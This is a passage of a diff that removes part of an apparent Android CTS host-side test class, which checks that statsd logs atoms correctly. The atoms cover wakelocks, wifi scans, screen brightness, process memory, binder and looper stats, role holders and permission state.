-        addAtomEvent(conf, Atom.UI_EVENT_REPORTED_FIELD_NUMBER, Arrays.asList(pkgMatcher));
-        uploadConfig(conf);
-
-        LogUtil.CLog.d("Playing video in Picture-in-Picture mode");
-        runActivity("VideoPlayerActivity", "action", "action.play_video_picture_in_picture_mode");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Filter out the PictureInPictureStateChanged and UiEventReported atom
-        List<EventMetricData> pictureInPictureStateChangedData = data.stream()
-                .filter(e -> e.getAtom().hasPictureInPictureStateChanged())
-                .collect(Collectors.toList());
-        List<EventMetricData> uiEventReportedData = data.stream()
-                .filter(e -> e.getAtom().hasUiEventReported())
-                .collect(Collectors.toList());
-
-        if (!pictureInPictureStateChangedData.isEmpty()) {
-            LogUtil.CLog.d("Assert using PictureInPictureStateChanged");
-            Set<Integer> entered = new HashSet<>(
-                    Arrays.asList(PictureInPictureStateChanged.State.ENTERED_VALUE));
-            List<Set<Integer>> stateSet = Arrays.asList(entered);
-            assertStatesOccurred(stateSet, data, WAIT_TIME_LONG,
-                    atom -> atom.getPictureInPictureStateChanged().getState().getNumber());
-        } else if (!uiEventReportedData.isEmpty()) {
-            LogUtil.CLog.d("Assert using UiEventReported");
-            // See PipUiEventEnum for definitions
-            final int enterPipEventId = 603;
-            // Assert that log for entering PiP happens exactly once, we do not use
-            // assertStateOccurred here since PiP may log something else when activity finishes.
-            List<EventMetricData> entered = uiEventReportedData.stream()
-                    .filter(e -> e.getAtom().getUiEventReported().getEventId() == enterPipEventId)
-                    .collect(Collectors.toList());
-            assertThat(entered).hasSize(1);
-        } else {
-            fail("No logging event from PictureInPictureStateChanged nor UiEventReported");
-        }
-    }
-
-    public void testScheduledJobState() throws Exception {
-        String expectedName = "com.android.server.cts.device.statsd/.StatsdJobService";
-        final int atomTag = Atom.SCHEDULED_JOB_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> jobSchedule = new HashSet<>(
-                Arrays.asList(ScheduledJobStateChanged.State.SCHEDULED_VALUE));
-        Set<Integer> jobOn = new HashSet<>(
-                Arrays.asList(ScheduledJobStateChanged.State.STARTED_VALUE));
-        Set<Integer> jobOff = new HashSet<>(
-                Arrays.asList(ScheduledJobStateChanged.State.FINISHED_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(jobSchedule, jobOn, jobOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        allowImmediateSyncs();
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testScheduledJob");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertStatesOccurred(stateSet, data, 0,
-                atom -> atom.getScheduledJobStateChanged().getState().getNumber());
-
-        for (EventMetricData e : data) {
-            assertThat(e.getAtom().getScheduledJobStateChanged().getJobName())
-                .isEqualTo(expectedName);
-        }
-    }
-
-    //Note: this test does not have uid, but must run on the device
-    public void testScreenBrightness() throws Exception {
-        int initialBrightness = getScreenBrightness();
-        boolean isInitialManual = isScreenBrightnessModeManual();
-        setScreenBrightnessMode(true);
-        setScreenBrightness(200);
-        Thread.sleep(WAIT_TIME_LONG);
-
-        final int atomTag = Atom.SCREEN_BRIGHTNESS_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> screenMin = new HashSet<>(Arrays.asList(47));
-        Set<Integer> screen100 = new HashSet<>(Arrays.asList(100));
-        Set<Integer> screen200 = new HashSet<>(Arrays.asList(198));
-        // Set<Integer> screenMax = new HashSet<>(Arrays.asList(255));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(screenMin, screen100, screen200);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testScreenBrightness");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Restore initial screen brightness
-        setScreenBrightness(initialBrightness);
-        setScreenBrightnessMode(isInitialManual);
-
-        popUntilFind(data, screenMin, atom->atom.getScreenBrightnessChanged().getLevel());
-        popUntilFindFromEnd(data, screen200, atom->atom.getScreenBrightnessChanged().getLevel());
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-            atom -> atom.getScreenBrightnessChanged().getLevel());
-    }
-    public void testSyncState() throws Exception {
-        final int atomTag = Atom.SYNC_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> syncOn = new HashSet<>(Arrays.asList(SyncStateChanged.State.ON_VALUE));
-        Set<Integer> syncOff = new HashSet<>(Arrays.asList(SyncStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(syncOn, syncOff, syncOn, syncOff);
-
-        createAndUploadConfig(atomTag, true);
-        allowImmediateSyncs();
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSyncState");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data,
-            /* wait = */ 0 /* don't verify time differences between state changes */,
-            atom -> atom.getSyncStateChanged().getState().getNumber());
-    }
-
-    public void testVibratorState() throws Exception {
-        if (!checkDeviceFor("checkVibratorSupported")) return;
-
-        final int atomTag = Atom.VIBRATOR_STATE_CHANGED_FIELD_NUMBER;
-        final String name = "testVibratorState";
-
-        Set<Integer> onState = new HashSet<>(
-                Arrays.asList(VibratorStateChanged.State.ON_VALUE));
-        Set<Integer> offState = new HashSet<>(
-                Arrays.asList(VibratorStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", name);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertStatesOccurred(stateSet, data, 300,
-                atom -> atom.getVibratorStateChanged().getState().getNumber());
-    }
-
-    public void testWakelockState() throws Exception {
-        final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> wakelockOn = new HashSet<>(Arrays.asList(
-                WakelockStateChanged.State.ACQUIRE_VALUE,
-                WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE));
-        Set<Integer> wakelockOff = new HashSet<>(Arrays.asList(
-                WakelockStateChanged.State.RELEASE_VALUE,
-                WakelockStateChanged.State.CHANGE_RELEASE_VALUE));
-
-        final String EXPECTED_TAG = "StatsdPartialWakelock";
-        final WakeLockLevelEnum EXPECTED_LEVEL = WakeLockLevelEnum.PARTIAL_WAKE_LOCK;
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(wakelockOn, wakelockOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockState");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-            atom -> atom.getWakelockStateChanged().getState().getNumber());
-
-        for (EventMetricData event: data) {
-            String tag = event.getAtom().getWakelockStateChanged().getTag();
-            WakeLockLevelEnum type = event.getAtom().getWakelockStateChanged().getType();
-            assertThat(tag).isEqualTo(EXPECTED_TAG);
-            assertThat(type).isEqualTo(EXPECTED_LEVEL);
-        }
-    }
-
-    public void testWakeupAlarm() throws Exception {
-        // For automotive, all wakeup alarm becomes normal alarm. So this
-        // test does not work.
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        final int atomTag = Atom.WAKEUP_ALARM_OCCURRED_FIELD_NUMBER;
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addAtomEvent(config, atomTag, true);  // True: uses attribution.
-
-        List<EventMetricData> data = doDeviceMethod("testWakeupAlarm", config);
-        assertThat(data.size()).isAtLeast(1);
-        for (int i = 0; i < data.size(); i++) {
-            WakeupAlarmOccurred wao = data.get(i).getAtom().getWakeupAlarmOccurred();
-            assertThat(wao.getTag()).isEqualTo("*walarm*:android.cts.statsd.testWakeupAlarm");
-            assertThat(wao.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-        }
-    }
-
-    public void testWifiLockHighPerf() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        if (!hasFeature(FEATURE_PC, false)) return;
-
-        final int atomTag = Atom.WIFI_LOCK_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> lockOn = new HashSet<>(Arrays.asList(WifiLockStateChanged.State.ON_VALUE));
-        Set<Integer> lockOff = new HashSet<>(Arrays.asList(WifiLockStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(lockOn, lockOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWifiLockHighPerf");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getWifiLockStateChanged().getState().getNumber());
-
-        for (EventMetricData event : data) {
-            assertThat(event.getAtom().getWifiLockStateChanged().getMode())
-                .isEqualTo(WifiModeEnum.WIFI_MODE_FULL_HIGH_PERF);
-        }
-    }
-
-    public void testWifiLockLowLatency() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        if (!hasFeature(FEATURE_PC, false)) return;
-
-        final int atomTag = Atom.WIFI_LOCK_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> lockOn = new HashSet<>(Arrays.asList(WifiLockStateChanged.State.ON_VALUE));
-        Set<Integer> lockOff = new HashSet<>(Arrays.asList(WifiLockStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(lockOn, lockOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWifiLockLowLatency");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getWifiLockStateChanged().getState().getNumber());
-
-        for (EventMetricData event : data) {
-            assertThat(event.getAtom().getWifiLockStateChanged().getMode())
-                .isEqualTo(WifiModeEnum.WIFI_MODE_FULL_LOW_LATENCY);
-        }
-    }
-
-    public void testWifiMulticastLock() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        if (!hasFeature(FEATURE_PC, false)) return;
-
-        final int atomTag = Atom.WIFI_MULTICAST_LOCK_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> lockOn = new HashSet<>(
-                Arrays.asList(WifiMulticastLockStateChanged.State.ON_VALUE));
-        Set<Integer> lockOff = new HashSet<>(
-                Arrays.asList(WifiMulticastLockStateChanged.State.OFF_VALUE));
-
-        final String EXPECTED_TAG = "StatsdCTSMulticastLock";
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(lockOn, lockOff);
-
-        createAndUploadConfig(atomTag, true);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWifiMulticastLock");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getWifiMulticastLockStateChanged().getState().getNumber());
-
-        for (EventMetricData event: data) {
-            String tag = event.getAtom().getWifiMulticastLockStateChanged().getTag();
-            assertThat(tag).isEqualTo(EXPECTED_TAG);
-        }
-    }
-
-    public void testWifiScan() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-
-        final int atom = Atom.WIFI_SCAN_STATE_CHANGED_FIELD_NUMBER;
-        final int key = WifiScanStateChanged.STATE_FIELD_NUMBER;
-        final int stateOn = WifiScanStateChanged.State.ON_VALUE;
-        final int stateOff = WifiScanStateChanged.State.OFF_VALUE;
-        final int minTimeDiffMillis = 250;
-        final int maxTimeDiffMillis = 60_000;
-        final boolean demandExactlyTwo = false; // Two scans are performed, so up to 4 atoms logged.
-
-        List<EventMetricData> data = doDeviceMethodOnOff("testWifiScan", atom, key,
-                stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, demandExactlyTwo);
-
-        assertThat(data.size()).isIn(Range.closed(2, 4));
-        WifiScanStateChanged a0 = data.get(0).getAtom().getWifiScanStateChanged();
-        WifiScanStateChanged a1 = data.get(1).getAtom().getWifiScanStateChanged();
-        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
-        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
-    }
-
-    public void testBinderStats() throws Exception {
-        try {
-            unplugDevice();
-            Thread.sleep(WAIT_TIME_SHORT);
-            enableBinderStats();
-            binderStatsNoSampling();
-            resetBinderStats();
-            StatsdConfig.Builder config = createConfigBuilder();
-            addGaugeAtomWithDimensions(config, Atom.BINDER_CALLS_FIELD_NUMBER, null);
-
-            uploadConfig(config);
-            Thread.sleep(WAIT_TIME_SHORT);
-
-            runActivity("StatsdCtsForegroundActivity", "action", "action.show_notification",3_000);
-
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_SHORT);
-
-            boolean found = false;
-            int uid = getUid();
-            List<Atom> atomList = getGaugeMetricDataList();
-            for (Atom atom : atomList) {
-                BinderCalls calls = atom.getBinderCalls();
-                boolean classMatches = calls.getServiceClassName().contains(
-                        "com.android.server.notification.NotificationManagerService");
-                boolean methodMatches = calls.getServiceMethodName()
-                        .equals("createNotificationChannels");
-
-                if (calls.getUid() == uid && classMatches && methodMatches) {
-                    found = true;
-                    assertThat(calls.getRecordedCallCount()).isGreaterThan(0L);
-                    assertThat(calls.getCallCount()).isGreaterThan(0L);
-                    assertThat(calls.getRecordedTotalLatencyMicros())
-                        .isIn(Range.open(0L, 1000000L));
-                    assertThat(calls.getRecordedTotalCpuMicros()).isIn(Range.open(0L, 1000000L));
-                }
-            }
-
-            assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
-                .that(found).isTrue();
-
-        } finally {
-            disableBinderStats();
-            plugInAc();
-        }
-    }
-
-    public void testLooperStats() throws Exception {
-        try {
-            unplugDevice();
-            setUpLooperStats();
-            StatsdConfig.Builder config = createConfigBuilder();
-            addGaugeAtomWithDimensions(config, Atom.LOOPER_STATS_FIELD_NUMBER, null);
-            uploadConfig(config);
-            Thread.sleep(WAIT_TIME_SHORT);
-
-            runActivity("StatsdCtsForegroundActivity", "action", "action.show_notification", 3_000);
-
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_SHORT);
-
-            List<Atom> atomList = getGaugeMetricDataList();
-
-            boolean found = false;
-            int uid = getUid();
-            for (Atom atom : atomList) {
-                LooperStats stats = atom.getLooperStats();
-                String notificationServiceFullName =
-                        "com.android.server.notification.NotificationManagerService";
-                boolean handlerMatches =
-                        stats.getHandlerClassName().equals(
-                                notificationServiceFullName + "$WorkerHandler");
-                boolean messageMatches =
-                        stats.getMessageName().equals(
-                                notificationServiceFullName + "$EnqueueNotificationRunnable");
-                if (atom.getLooperStats().getUid() == uid && handlerMatches && messageMatches) {
-                    found = true;
-                    assertThat(stats.getMessageCount()).isGreaterThan(0L);
-                    assertThat(stats.getRecordedMessageCount()).isGreaterThan(0L);
-                    assertThat(stats.getRecordedTotalLatencyMicros())
-                        .isIn(Range.open(0L, 1000000L));
-                    assertThat(stats.getRecordedTotalCpuMicros()).isIn(Range.open(0L, 1000000L));
-                    assertThat(stats.getRecordedMaxLatencyMicros()).isIn(Range.open(0L, 1000000L));
-                    assertThat(stats.getRecordedMaxCpuMicros()).isIn(Range.open(0L, 1000000L));
-                    assertThat(stats.getRecordedDelayMessageCount()).isGreaterThan(0L);
-                    assertThat(stats.getRecordedTotalDelayMillis())
-                        .isIn(Range.closedOpen(0L, 5000L));
-                    assertThat(stats.getRecordedMaxDelayMillis()).isIn(Range.closedOpen(0L, 5000L));
-                }
-            }
-            assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
-                .that(found).isTrue();
-        } finally {
-            cleanUpLooperStats();
-            plugInAc();
-        }
-    }
-
-    public void testProcessMemoryState() throws Exception {
-        // Get ProcessMemoryState as a simple gauge metric.
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_STATE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Start test app.
-        try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
-                "action.show_notification")) {
-            Thread.sleep(WAIT_TIME_LONG);
-            // Trigger a pull and wait for new pull before killing the process.
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_LONG);
-        }
-
-        // Assert about ProcessMemoryState for the test app.
-        List<Atom> atoms = getGaugeMetricDataList();
-        int uid = getUid();
-        boolean found = false;
-        for (Atom atom : atoms) {
-            ProcessMemoryState state = atom.getProcessMemoryState();
-            if (state.getUid() != uid) {
-                continue;
-            }
-            found = true;
-            assertThat(state.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-            assertThat(state.getOomAdjScore()).isAtLeast(0);
-            assertThat(state.getPageFault()).isAtLeast(0L);
-            assertThat(state.getPageMajorFault()).isAtLeast(0L);
-            assertThat(state.getRssInBytes()).isGreaterThan(0L);
-            assertThat(state.getCacheInBytes()).isAtLeast(0L);
-            assertThat(state.getSwapInBytes()).isAtLeast(0L);
-        }
-        assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
-            .that(found).isTrue();
-    }
-
-    public void testProcessMemoryHighWaterMark() throws Exception {
-        // Get ProcessMemoryHighWaterMark as a simple gauge metric.
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_HIGH_WATER_MARK_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Start test app and trigger a pull while it is running.
-        try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
-                "action.show_notification")) {
-            Thread.sleep(WAIT_TIME_SHORT);
-            // Trigger a pull and wait for new pull before killing the process.
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_LONG);
-        }
-
-        // Assert about ProcessMemoryHighWaterMark for the test app, statsd and system server.
-        List<Atom> atoms = getGaugeMetricDataList();
-        int uid = getUid();
-        boolean foundTestApp = false;
-        boolean foundStatsd = false;
-        boolean foundSystemServer = false;
-        for (Atom atom : atoms) {
-            ProcessMemoryHighWaterMark state = atom.getProcessMemoryHighWaterMark();
-            if (state.getUid() == uid) {
-                foundTestApp = true;
-                assertThat(state.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
-            } else if (state.getProcessName().contains("/statsd")) {
-                foundStatsd = true;
-                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
-            } else if (state.getProcessName().equals("system")) {
-                foundSystemServer = true;
-                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
-            }
-        }
-        assertWithMessage(String.format("Did not find a matching atom for test app uid=%d",uid))
-            .that(foundTestApp).isTrue();
-        assertWithMessage("Did not find a matching atom for statsd").that(foundStatsd).isTrue();
-        assertWithMessage("Did not find a matching atom for system server")
-            .that(foundSystemServer).isTrue();
-    }
-
-    public void testProcessMemorySnapshot() throws Exception {
-        // Get ProcessMemorySnapshot as a simple gauge metric.
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_SNAPSHOT_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Start test app and trigger a pull while it is running.
-        try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
-                "action.show_notification")) {
-            Thread.sleep(WAIT_TIME_LONG);
-            setAppBreadcrumbPredicate();
-        }
-
-        // Assert about ProcessMemorySnapshot for the test app, statsd and system server.
-        List<Atom> atoms = getGaugeMetricDataList();
-        int uid = getUid();
-        boolean foundTestApp = false;
-        boolean foundStatsd = false;
-        boolean foundSystemServer = false;
-        for (Atom atom : atoms) {
-          ProcessMemorySnapshot snapshot = atom.getProcessMemorySnapshot();
-          if (snapshot.getUid() == uid) {
-              foundTestApp = true;
-              assertThat(snapshot.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-          } else if (snapshot.getProcessName().contains("/statsd")) {
-              foundStatsd = true;
-          } else if (snapshot.getProcessName().equals("system")) {
-              foundSystemServer = true;
-          }
-
-          assertThat(snapshot.getPid()).isGreaterThan(0);
-          assertThat(snapshot.getAnonRssAndSwapInKilobytes()).isAtLeast(0);
-          assertThat(snapshot.getAnonRssAndSwapInKilobytes()).isEqualTo(
-                  snapshot.getAnonRssInKilobytes() + snapshot.getSwapInKilobytes());
-          assertThat(snapshot.getRssInKilobytes()).isAtLeast(0);
-          assertThat(snapshot.getAnonRssInKilobytes()).isAtLeast(0);
-          assertThat(snapshot.getSwapInKilobytes()).isAtLeast(0);
-        }
-        assertWithMessage(String.format("Did not find a matching atom for test app uid=%d",uid))
-            .that(foundTestApp).isTrue();
-        assertWithMessage("Did not find a matching atom for statsd").that(foundStatsd).isTrue();
-        assertWithMessage("Did not find a matching atom for system server")
-            .that(foundSystemServer).isTrue();
-    }
-
-    public void testIonHeapSize_optional() throws Exception {
-        if (isIonHeapSizeMandatory()) {
-            return;
-        }
-
-        List<Atom> atoms = pullIonHeapSizeAsGaugeMetric();
-        if (atoms.isEmpty()) {
-            // No support.
-            return;
-        }
-        assertIonHeapSize(atoms);
-    }
-
-    public void testIonHeapSize_mandatory() throws Exception {
-        if (!isIonHeapSizeMandatory()) {
-            return;
-        }
-
-        List<Atom> atoms = pullIonHeapSizeAsGaugeMetric();
-        assertIonHeapSize(atoms);
-    }
-
-    /** Returns whether IonHeapSize atom is supported. */
-    private boolean isIonHeapSizeMandatory() throws Exception {
-        // Support is guaranteed by libmeminfo VTS.
-        return PropertyUtil.getFirstApiLevel(getDevice()) >= 30;
-    }
-
-    /** Returns IonHeapSize atoms pulled as a simple gauge metric while test app is running. */
-    private List<Atom> pullIonHeapSizeAsGaugeMetric() throws Exception {
-        // Get IonHeapSize as a simple gauge metric.
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.ION_HEAP_SIZE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Start test app and trigger a pull while it is running.
-        try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
-                "action.show_notification")) {
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_LONG);
-        }
-
-        return getGaugeMetricDataList();
-    }
-
-    private static void assertIonHeapSize(List<Atom> atoms) {
-        assertThat(atoms).hasSize(1);
-        IonHeapSize ionHeapSize = atoms.get(0).getIonHeapSize();
-        assertThat(ionHeapSize.getTotalSizeKb()).isGreaterThan(0);
-    }
-
-    /**
-     * The the app id from a uid.
-     *
-     * @param uid The uid of the app
-     *
-     * @return The app id of the app
-     *
-     * @see android.os.UserHandle#getAppId
-     */
-    private static int getAppId(int uid) {
-        return uid % 100000;
-    }
-
-    public void testRoleHolder() throws Exception {
-        // Make device side test package a role holder
-        String callScreenAppRole = "android.app.role.CALL_SCREENING";
-        getDevice().executeShellCommand(
-                "cmd role add-role-holder " + callScreenAppRole + " " + DEVICE_SIDE_TEST_PACKAGE);
-
-        // Set up what to collect
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.ROLE_HOLDER_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        boolean verifiedKnowRoleState = false;
-
-        // Pull a report
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        int testAppId = getAppId(getUid());
-
-        for (Atom atom : getGaugeMetricDataList()) {
-            AtomsProto.RoleHolder roleHolder = atom.getRoleHolder();
-
-            assertThat(roleHolder.getPackageName()).isNotNull();
-            assertThat(roleHolder.getUid()).isAtLeast(0);
-            assertThat(roleHolder.getRole()).isNotNull();
-
-            if (roleHolder.getPackageName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                assertThat(getAppId(roleHolder.getUid())).isEqualTo(testAppId);
-                assertThat(roleHolder.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-                assertThat(roleHolder.getRole()).isEqualTo(callScreenAppRole);
-
-                verifiedKnowRoleState = true;
-            }
-        }
-
-        assertThat(verifiedKnowRoleState).isTrue();
-    }
-
-    public void testDangerousPermissionState() throws Exception {
-        final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED =  1 << 8;
-        final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED =  1 << 9;
-
-        // Set up what to collect
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        boolean verifiedKnowPermissionState = false;
-
-        // Pull a report
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        int testAppId = getAppId(getUid());
-
-        for (Atom atom : getGaugeMetricDataList()) {
-            DangerousPermissionState permissionState = atom.getDangerousPermissionState();
-
-            assertThat(permissionState.getPermissionName()).isNotNull();
-            assertThat(permissionState.getUid()).isAtLeast(0);
-            assertThat(permissionState.getPackageName()).isNotNull();
-
-            if (getAppId(permissionState.getUid()) == testAppId) {
-
-                if (permissionState.getPermissionName().contains(
-                        "ACCESS_FINE_LOCATION")) {
-                    assertThat(permissionState.getIsGranted()).isTrue();
-                    assertThat(permissionState.getPermissionFlags() & ~(
-                            FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED
-                            | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED))
-                        .isEqualTo(0);
-
-                    verifiedKnowPermissionState = true;
-                }
-            }
-        }
-
-        assertThat(verifiedKnowPermissionState).isTrue();
-    }
-
-    public void testDangerousPermissionStateSampled() throws Exception {
-        // get full atom for reference
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<DangerousPermissionState> fullDangerousPermissionState = new ArrayList<>();
-        for (Atom atom : getGaugeMetricDataList()) {
-            fullDangerousPermissionState.add(atom.getDangerousPermissionState());
-        }
-
-        removeConfig(CONFIG_ID);
-        getReportList(); // Clears data.
-        List<Atom> gaugeMetricDataList = null;
-
-        // retries in case sampling returns full list or empty list - which should be extremely rare
-        for (int attempt = 0; attempt < 10; attempt++) {
-            // Set up what to collect
-            config = createConfigBuilder();
-            addGaugeAtomWithDimensions(config, Atom.DANGEROUS_PERMISSION_STATE_SAMPLED_FIELD_NUMBER,
-                    null);
-            uploadConfig(config);
-            Thread.sleep(WAIT_TIME_SHORT);
-
-            // Pull a report
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_SHORT);
-
-            gaugeMetricDataList = getGaugeMetricDataList();
-            if (gaugeMetricDataList.size() > 0
-                    && gaugeMetricDataList.size() < fullDangerousPermissionState.size()) {
-                break;
-            }
-            removeConfig(CONFIG_ID);
-            getReportList(); // Clears data.
-        }
-        assertThat(gaugeMetricDataList.size()).isGreaterThan(0);
-        assertThat(gaugeMetricDataList.size()).isLessThan(fullDangerousPermissionState.size());
-
-        long lastUid = -1;
-        int fullIndex = 0;
-
-        for (Atom atom : getGaugeMetricDataList()) {
-            DangerousPermissionStateSampled permissionState =
-                    atom.getDangerousPermissionStateSampled();
-
-            DangerousPermissionState referenceState = fullDangerousPermissionState.get(fullIndex);
-
-            if (referenceState.getUid() != permissionState.getUid()) {
-                // atoms are sampled on uid basis if uid is present, all related permissions must
-                // be logged.
-                assertThat(permissionState.getUid()).isNotEqualTo(lastUid);
-                continue;
-            }
-
-            lastUid = permissionState.getUid();
-
-            assertThat(permissionState.getPermissionFlags()).isEqualTo(
-                    referenceState.getPermissionFlags());
-            assertThat(permissionState.getIsGranted()).isEqualTo(referenceState.getIsGranted());
-            assertThat(permissionState.getPermissionName()).isEqualTo(
-                    referenceState.getPermissionName());
-
-            fullIndex++;
-        }
-    }
-
-    public void testAppOps() throws Exception {
-        // Set up what to collect
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.APP_OPS_FIELD_NUMBER, null);
-        uploadConfig(config);
-
